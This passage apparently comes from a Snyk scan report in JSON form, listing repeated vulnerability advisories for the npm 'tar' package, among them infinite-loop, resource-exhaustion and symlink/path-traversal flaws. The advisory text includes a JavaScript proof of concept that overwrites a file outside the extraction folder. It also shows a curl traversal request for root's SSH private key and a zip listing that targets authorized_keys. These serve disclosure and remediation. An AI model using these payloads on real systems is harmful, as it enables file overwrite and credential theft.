"0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": 